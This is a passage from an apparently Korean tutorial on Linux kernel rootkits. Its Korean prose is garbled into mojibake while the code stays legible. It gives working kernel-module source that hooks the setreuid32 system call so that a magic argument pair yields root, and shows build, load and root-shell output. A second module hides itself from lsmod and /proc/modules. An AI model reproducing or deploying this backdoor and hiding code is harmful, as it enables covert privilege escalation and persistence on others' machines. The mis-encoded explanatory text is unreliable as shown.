+strlen(pattern)))); } return NULL; } int hk_attr_change( unsigned long linear_addr , int attr , int flag , int *value ) { pgd_t *pgd; pud_t *pud; pmd_t *pmd; pte_t *pte; pgd = pgd_offset_k( linear_addr ); if(!pgd_present(*pgd)) { if(pgd_none(*pgd)) return -0x10; return -0x01; } pud = pud_offset( pgd, linear_addr ); if(!pud_present(*pud)) { if(pud_none(*pud)) return -0x20; return -0x02; } pmd = pmd_offset( pud, linear_addr ); if(!pmd_present(*pmd)) { if(pmd_none(*pmd)) return -0x30; return -0x03; } if( pmd_large(*pmd) ) pte = (pte_t *)pmd; else pte = pte_offset_kernel( pmd, linear_addr ); if(!pte_present(*pte)) { if( pte_none(*pte)) return -0x40; return -0x04; } if( value > 0 ) *value = (pte)->pte_low; if( flag == 0 ) (pte)->pte_low &= ~attr; else if( flag == 1 ) (pte)->pte_low |= attr; else if( flag == 2 ) (pte)->pte_low = attr; else; global_flush_tlb(); return 0; } int __init hk_init( void ) { int val; sys_call_table = (void **)get_sys_call_table(); if( sys_call_table == NULL ) { printk( KERN_ALERT "Can not found the sys_call_table address\n" ); return -1; } // º¯°æ ÀÌÀüÀÇ ÆäÀÌÁö ¼Ó¼ºÀ» val Æ÷ÀÎÅÍ°¡ °¡¸®Å°µµ·Ï ÇÑ µÚ, sys_call_table ÆäÀÌÁö ¼Ó¼º¿¡ RW ºñÆ® Ãß°¡ if( (hk_attr_change( (unsigned long)sys_call_table, _PAGE_RW, ON, &val )) < 0 ) return -1; orig_setreuid = sys_call_table[__NR_setreuid32]; sys_call_table[__NR_setreuid32] = hk_setreuid; // sys_call_table ÆäÀÌÁö ¼Ó¼ºÀ» ¿ø»óÅÂ(ÆäÀÌÁö ±ÇÇÑ º¯°æ ÀÌÀüÀÇ ¼Ó¼º°ªÀ» °¡¸®Å°°í ÀÖ´Â val Æ÷ÀÎÅÍ)·Î º¹±¸ if( (hk_attr_change( (unsigned long)sys_call_table, val, SET, NULL )) < 0 ) printk( KERN_ALERT "[hk_init] sys_call_table attribute restoration failed\n" ); printk( KERN_ALERT "Module init\n" ); return 0; } void __exit hk_exit( void ) { int val; // º¯°æ ÀÌÀüÀÇ ÆäÀÌÁö ¼Ó¼ºÀ» val Æ÷ÀÎÅÍ°¡ °¡¸®Å°µµ·Ï ÇÑ µÚ, sys_call_table ÆäÀÌÁö ¼Ó¼º¿¡ RW ºñÆ® Ãß°¡ if( (hk_attr_change( (unsigned long)sys_call_table, _PAGE_RW, ON, &val )) == 0 ) { sys_call_table[__NR_setreuid32] = orig_setreuid; // sys_call_table ÆäÀÌÁö ¼Ó¼ºÀ» ¿ø»óÅÂ(ÆäÀÌÁö ±ÇÇÑ º¯°æ ÀÌÀüÀÇ ¼Ó¼º°ªÀ» °¡¸®Å°°í ÀÖ´Â val Æ÷ÀÎÅÍ)·Î º¹±¸ if( (hk_attr_change( (unsigned long)sys_call_table, val, SET, NULL )) < 0 ) printk( KERN_ALERT "[hk_exit] sys_call_table attribute restoration failed\n" ); } printk( KERN_ALERT "Module exit\n" ); } module_init( hk_init ); module_exit( hk_exit ); MODULE_LICENSE( "GPL" ); =- End Of Code -= ´ÙÀ½Àº ¸ðµâÀ» ÄÄÆÄÀÏÇÑ µÚ Ä¿³Î¿¡ ·ÎµåÇÏ´Â °úÁ¤ÀÔ´Ï´Ù. ------------------------------------------------------------------- [root@localhost hk]# make make -C /lib/modules/2.6.23.1-42.fc8/build SUBDIRS=/root/hk modules make[1]: Entering directory `/usr/src/kernels/2.6.23.1-42.fc8-i686' CC [M] /root/hk/hkm_idt-attr.o Building modules, stage 2. MODPOST 1 modules CC /root/hk/hkm_idt-attr.mod.o LD [M] /root/hk/hkm_idt-attr.ko make[1]: Leaving directory `/usr/src/kernels/2.6.23.1-42.fc8-i686' [root@localhost hk]# insmod hkm_idt-attr.ko ------------------------------------------------------------------- ¸¶Áö¸·À¸·Î hkpco °èÁ¤¿¡¼­ ·çƮŶÀÌ Á¤»ó ÀÛµ¿ÇÏ´ÂÁö Å×½ºÆ® Çغ¸°Ú½À´Ï´Ù. ------------------------------------------------------------------------------------------------------- [hkpco@localhost hkpco]$ id uid=500(hkpco) gid=500(hkpco) groups=500(hkpco) context=root:system_r:unconfined_t:SystemLow-SystemHigh [hkpco@localhost hkpco]$ cat go.c int main( void ) { setreuid( 7310 , 0137 ); system( "/bin/sh" ); } [hkpco@localhost hkpco]$ ./go sh-3.1# id uid=0(root) gid=0(root) groups=500(hkpco) context=system_u:system_r:unconfined_t:s0-s0:c0.c1023 ------------------------------------------------------------------------------------------------------- Áö±Ý±îÁö sys_call_tableÀÇ ÆäÀÌÁö ¼Ó¼ºÀ» Á÷Á¢ º¯°æÇÏ¿© ½Ã½ºÅÛ ÄÝÀ» °¡·Îä°í º¹±¸ÇÏ´Â ¹æ¹ýÀ» ¾Ë¾Æº¸¾Ò½À´Ï´Ù. ÀÌ ±â¼úÀº ÁÖÀ§ ȯ°æ¿¡ ¿µÇâÀ» ¹ÌÄ¡Áö ¾Ê°í ¼Ó¼º º¯°æÀ» À§ÇÑ ´ë»óÀÌ sys_call_table Çϳª¿¡ ±¹ÇѵǾî ÀÖ´Ù´Â Á¡¿¡¼­ Áö±Ý±îÁö ¼Ò°³ÇÑ ¹æ¹ý Áß °¡Àå ¾ÈÁ¤ÀûÀ̶ó°í ÇÒ ¼ö ÀÖ½À´Ï´Ù. 0xa. Kernel Module Hiding Ä¿³Î ¸ðµâÀ» ¸®½ºÆ®¿¡¼­ Á¦°ÅÇÏ¿© lsmod ¸í·É, /proc/modules ¿­¶÷ µî ÀϹÝÀûÀÎ È®ÀÎÀ¸·Î´Â ã¾Æ³»Áö ¸øÇϵµ·Ï ¸ðµâÀ» ¼û±â´Â ¹æ¹ýÀ» ¾Ë¾Æ º¸°Ú½À´Ï´Ù. ¼³¸í¿¡ ¾Õ¼­ ¸ðµâÀ» ¼û±â´Â Äڵ带 Å×½ºÆ® ÇÒ °ÍÀ̸ç ÇØ´ç ¼Ò½º ÄÚµå´Â ´ÙÀ½°ú °°½À´Ï´Ù. =- hkm_hiding.c -= #include #include #include #include int hk_init( void ) { list_del_init( &__this_module.list ); printk( KERN_ALERT "Module Hiding\n" ); return 0; } void hk_exit( void ) { } module_init( hk_init ); module_exit( hk_exit ); MODULE_LICENSE( "GPL" ); =- End Of Code -= ´ÙÀ½Àº ¸ðµâÀ» ÄÄÆÄÀÏÇÑ µÚ Ä¿³Î¿¡ ·ÎµåÇÏ´Â °úÁ¤ÀÔ´Ï´Ù. ----------------------------------------------------------------------- [root@localhost hk]# make make -C /lib/modules/2.6.23.1-42.fc8/build SUBDIRS=/root/kernel modules make[1]: Entering directory `/usr/src/kernels/2.6.23.1-42.fc8-i686' CC [M] /root/kernel/hkm_hiding.o Building modules, stage 2. MODPOST 1 modules CC /root/kernel/hkm_hiding.mod.o LD [M] /root/kernel/hkm_hiding.ko make[1]: Leaving directory `/usr/src/kernels/2.6.23.1-42.fc8-i686' [root@localhost kernel]# insmod hkm_hiding.ko ----------------------------------------------------------------------- Ä¿³Î¿¡ ÀûÀçµÈ ¸ðµâÀÇ À̸§°ú °£·«ÇÑ »óÅ µîÀÇ Á¤º¸¸¦ Ãâ·ÂÇØ ÁÖ´Â lsmod ¸í·É°ú /proc/modules ÆÄÀÏÀÇ ¿­¶÷À» ÅëÇÏ¿© hkm_hiding ¸ðµâÀ» ãÀ» ¼ö ÀÖ´ÂÁö È®ÀÎÇÏ¿© º¸°Ú½À´Ï´Ù. ------------------------------------------------------------ < lsmod ¸í·ÉÀ» ÅëÇÑ È®ÀÎ > [root@localhost kernel]# lsmod Module Size Used by rfcomm 36825 0 l2cap 25537 9 rfcomm bluetooth 49316 4 rfcomm,l2cap autofs4 20421 2 . . mbcache 10177 1 ext3 uhci_hcd 23633 0 ohci_hcd 21445 0 ehci_hcd 31693 0 [root@localhost kernel]# /sbin/lsmod | grep hkm_hiding [root@localhost kernel]# ------------------------------------------------------------ ------------------------------------------------------------ < /proc/modules ¿­¶÷À» ÅëÇÑ È®ÀÎ > [root@localhost kernel]# cat /proc/modules rfcomm 36825 0 - Live 0xd0b0c000 l2cap 25537 9 rfcomm, Live 0xd0af1000 bluetooth 49316 4 rfcomm,l2cap, Live 0xd0b3c000 autofs4 20421 2 - Live 0xd0af9000 . . uhci_hcd 23633 0 - Live 0xd0824000 ohci_hcd 21445 0 - Live 0xd0835000 ehci_hcd 31693 0 - Live 0xd082c000 [root@localhost kernel]# cat /proc/modules | grep hkm_hiding [root@localhost kernel]# ------------------------------------------------------------ À§¿Í °°ÀÌ Ä¿³Î¿¡ ·ÎµåµÈ hkm_hiding ¸ðµâÀº ãÀ» ¼ö ¾ø½À´Ï´Ù. ÀÌ·¯ÇÑ °á°ú´Â ¾Æ·¡ ÇÑ ÁÙÀÇ ÄÚµå·Î ÀÌ·ç¾îÁø °ÍÀÔ´Ï´Ù. ------------------------------------- list_del_init( &__this_module.list ); ------------------------------------- ±×·³ ¸ÕÀú list_del_init()°¡ ¾î¶»°Ô Á¤ÀǵǾî ÀÖ´ÂÁö »ìÆ캸°Ú½À´Ï´Ù. ´ÙÀ½°ú °°½À´Ï´Ù. --------------------------------------------------------- linux/include/linux/list.h --------------------------------------------------------- static inline void list_del_init(struct list_head *entry) { __list_del(entry->prev, entry->next); INIT_LIST_HEAD(entry); } --------------------------------------------------------- list_del_init() ÀζóÀÎ ÇÔ¼öÀÇ ÀÎÀÚ·Î ÁÖ¾îÁø Æ÷ÀÎÅÍ º¯¼öÀÇ ¿øÇüÀÎ list_head ±¸Á¶Ã¼´Â ´ÙÀ½°ú °°ÀÌ Á¤ÀǵǾî ÀÖ½À´Ï´Ù. -------------------------------------- linux/include/linux/list.h -------------------------------------- struct list_head { struct list_head *next, *prev; }; -------------------------------------- list_del_init()´Â __list_del()°ú INIT_LIST_HEAD()¸¦ È£ÃâÇÏ¸ç °¢°¢ ´ÙÀ½°ú °°ÀÌ Á¤ÀǵǾî ÀÖ½À´Ï´Ù. ------------------------------------------------------------------------------- linux/include/linux/list.h ------------------------------------------------------------------------------- static inline void __list_del(struct list_head * prev, struct list_head * next) { next->prev = prev; prev->next = next; } static inline void INIT_LIST_HEAD(struct list_head *list) { list->next = list; list->prev = list; } ------------------------------------------------------------------------------- ¸ðµâ ¸®½ºÆ®´Â ÀÌÁß ¿¬°á ¸®½ºÆ®·Î °ü¸®µÇ°í Àֱ⠶§¹®¿¡ ¸ðµâÀÇ Ãß°¡ ¶Ç´Â Á¦°Å ÀÛ¾÷ÀÇ ÆíÀǼºÀ» À§ÇÏ¿© À§¿Í °°Àº ÀζóÀÎ ÇÔ¼ö¸¦ Á¤ÀÇÇØ µÎ°í ÀÖ½À´Ï´Ù. __list_del()Àº ÇÔ¼ö¸í¿¡¼­ ¾Ë ¼ö ÀÖµíÀÌ ÀÌÁß ¿¬°á ¸®½ºÆ®ÀÇ ÇÑ ¿ä¼Ò¸¦ Á¦°ÅÇÏ´Â ÀÛ¾÷À» ¼öÇàÇϴµ¥, ÀÎÀÚ´Â °¢°¢ Á¦°ÅÇÒ ¸®½ºÆ®°¡ °¡¸®Å°°í ÀÖ´Â ÀÌÀü ¸®½ºÆ®¿Í ÀÌÈÄ ¸®½ºÆ®¸¦ ÇÊ¿ä·Î ÇÕ´Ï´Ù. list_del_init()ÀÇ ÀÎÀÚ·Î ÁÖ¾îÁø ¿¬°á ¸®½ºÆ®´Â __list_del() ÀζóÀÎ ÇÔ¼öÀÇ ¼öÇà ÀÌÈÄ ´õÀÌ»ó »ç¿ëµÇÁö ¾ÊÀ¸¹Ç·Î INIT_LIST_HEAD() ÀζóÀÎ ÇÔ¼ö¸¦ ÀÌ¿ëÇÏ¿© ÃʱâÈ­ ÇØÁÝ´Ï´Ù. ±×·³ ÀÌÁ¦ óÀ½À¸·Î µ¹¾Æ°¡¼­ list_del_init() ÀζóÀÎ ÇÔ¼öÀÇ ÀÎÀÚ·Î ÁÖ¾îÁø __this_module.list¿¡ ´ëÇÏ¿© ¾Ë¾Æº¸°Ú½À´Ï´Ù. __this_moduleÀº ÇöÀç ¸ðµâÀÇ Á¤º¸¸¦ °¡Áö°í ÀÖ´Â ±¸Á¶Ã¼ÀÌ¸ç ´ÙÀ½°ú °°ÀÌ Á¤ÀǵǾî ÀÖ½À´Ï´Ù. ----------------------------------- linux/include/linux/module.h ----------------------------------- extern struct module __this_module; ----------------------------------- __this_moduleÀº module ±¸Á¶Ã¼·Î ¼±¾ðµÇ¾îÁø °ÍÀ» º¼ ¼ö ÀÖ½À´Ï´Ù. module ±¸Á¶Ã¼´Â ´ÙÀ½°ú °°ÀÌ Á¤ÀǵǾî ÀÖ½À´Ï´Ù. -------------------------------------------------------------------- struct module { enum module_state state; /* Member of list of modules */ struct list_head list; /* Unique handle for this module */ char name[MODULE_NAME_LEN]; /* Sysfs stuff. */ struct module_kobject mkobj; struct module_param_attrs *param_attrs; . . . /* Per-cpu data. */ void *percpu; /* The command line arguments (may be mangled). People like keeping pointers to this stuff */ char *args; }; -------------------------------------------------------------------- __this_module.list´Â ÇöÀç ¸ðµâ¿¡ ´ëÇÑ ¿¬°á ¸®½ºÆ®¸¦ ÀǹÌÇÕ´Ï´Ù. ±×·¡¼­ ÇØ´ç ±¸Á¶Ã¼ÀÇ Çʵ尪À» list_del_init()ÀÇ ÀÎÀÚ·Î ÁÖ¸é ¸ðµâÀ» °ü¸®ÇÏ´Â ÀÌÁß ¿¬°á ¸®½ºÆ®¿¡¼­ Á¦°ÅµÇ¾î ¸ðµâÀÌ ¼û°ÜÁö´Â ¿ø¸®ÀÔ´Ï´Ù. list_del_init() ÀζóÀÎ ÇÔ¼öÀÇ ³»ºÎ ¼öÇà°úÁ¤Àº __list_del(), INIT_LIST_HEAD() ¼øÀ¸·Î ÀÌ·ç¾îÁý´Ï´Ù. °á±¹ µÎ°³ÀÇ ÀζóÀÎ ÇÔ¼ö¸¦ Çϳª·Î ¹­¾îµÐ °ÍÀε¥, ¸ðµâÀ» ¼û±â±â À§ÇÏ¿© list_del_init()¸¦ È£ÃâÇßÀ» ¶§ÀÇ Àü °úÁ¤À» °£´ÜÈ÷ µµ½ÄÈ­ ÇÏ¸é ´ÙÀ½°ú °°½À´Ï´Ù. Âü°í·Î ´ë»ó ¸ðµâÀº "module 2" ÀÔ´Ï´Ù. < list_del_init() ¼öÇà Àü > list_head module 1 module 2 module 3 =================== =================== =================== =================== (NULL)<-| prev | next |<----->| prev | next |<----->| prev | next |<----->| prev | next |->(NULL) =================== =================== =================== =================== < list_del_init() ³»ºÎÀÇ __list_del() ¼öÇà ÈÄ > list_head module 1 module 3 =================== =================== =================== (NULL)<-| prev | next |<----->| prev | next |<----->| prev | next |->(NULL) =================== =================== =================== ^ ^ | module 2 | | =================== | --| prev | next |-| =================== < list_del_init() ³»ºÎÀÇ INIT_LIST_HEAD() ¼öÇà ÈÄ > list_head module 1 module 3 =================== =================== =================== (NULL)<-| prev | next |<----->| prev | next |<----->| prev | next |->(NULL) =================== =================== =================== module 2 =================== | prev | next | =================== ÀÌÁß ¿¬°á ¸®½ºÆ®·Î ¸ðµâµéÀÌ °ü¸®µÇ°í ÀÖÀ¸¸ç ƯÁ¤ ¸ðµâ(¿©±â¼­´Â module 2)À» »èÁ¦Çϱâ À§ÇØ list_del_init() ÀζóÀÎ ÇÔ¼ö¸¦ È£Ãâ ÇÏ¿´½À´Ï´Ù. À§¿¡¼­µµ ¾ð±ÞÇÑ °Í ó·³ µÎ °³ÀÇ ÀζóÀÎ ÇÔ¼ö¸¦ ¹­¾îµÐ list_del_init()´Â ¸ÕÀú __list_del()ÀÌ ¼öÇàµÇ¸é module 2°¡ ¿¬°á ¸®½ºÆ®¿¡¼­ Á¦°ÅµÇ´Âµ¥ module 2ÀÇ prev, next Çʵå´Â ¿©ÀüÈ÷ module 1, 2¸¦ °¡¸®Å°°í ÀÖÀ¸¹Ç·Î INIT_LIST_HEAD()¸¦ ÀÌ¿ëÇÏ¿© module 2ÀÇ µÎ Çʵ带 ¸ðµÎ ÃʱâÈ­ ½ÃÄÑÁÖ´Â °ÍÀÔ´Ï´Ù. 0xb. Conclusion Áö±Ý±îÁö ½Ã½ºÅÛ ÄÝ Á¦¾î¸¦ Áß½ÉÀ¸·Î Ä¿³Î ·¹º§¿¡¼­ÀÇ ´Ù¾çÇÑ ÇÙ½É ±â¼úµéÀ» ¾Ë¾Æ º¸¾Ò½À´Ï´Ù. ¹®¼­¸¦ ¾²¸é¼­ °¡Àå ¸¹ÀÌ Âü°íÇß´ø ÀÚ·á´Â ¸®´ª½º Ä¿³Î ¼Ò½º Äڵ忴´Âµ¥ ÀÌ·¸°Ô ¸ðµç °ÍÀÌ »ç¿ëÀÚ¿¡°Ô °ø°³ µÇ¾îÀÖ´Ù´Â Á¡¿¡¼­ Á¤¸»·Î ¸Å·ÂÀÖ´Â ¿î¿µÃ¼Á¦¶ó´Â »ý°¢À» ´Ù½ÃÇѹø ÇÏ¿´½À´Ï´Ù. ¸¶Áö¸·À¸·Î ±â¼úÀ̶ó´Â °ÍÀº Ç×»ó ¾ç³¯ÀÇ Ä®°ú °°Àº ¼ºÇâÀ» Áö´Ï°í Àֱ⠶§¹®¿¡ ¿©±â¼­ ¼Ò°³ÇÑ ±â¼úµµ ¿ª½Ã ¾î¶»°Ô »ç¿ë µÇ´ÂÁö¿¡ µû¶ó ´Ù¾çÇÏ°Ô º¯È­µÉ ¼ö ÀÖ½À´Ï´Ù. º» ¹®¼­°¡ ºÎµð ÁÁÀº ºÎºÐ¿¡ ¾²ÀÌ±æ ¹Ù¶ó¸ç À̸¸ ¸¶Ä¡°Ú½À´Ï´Ù.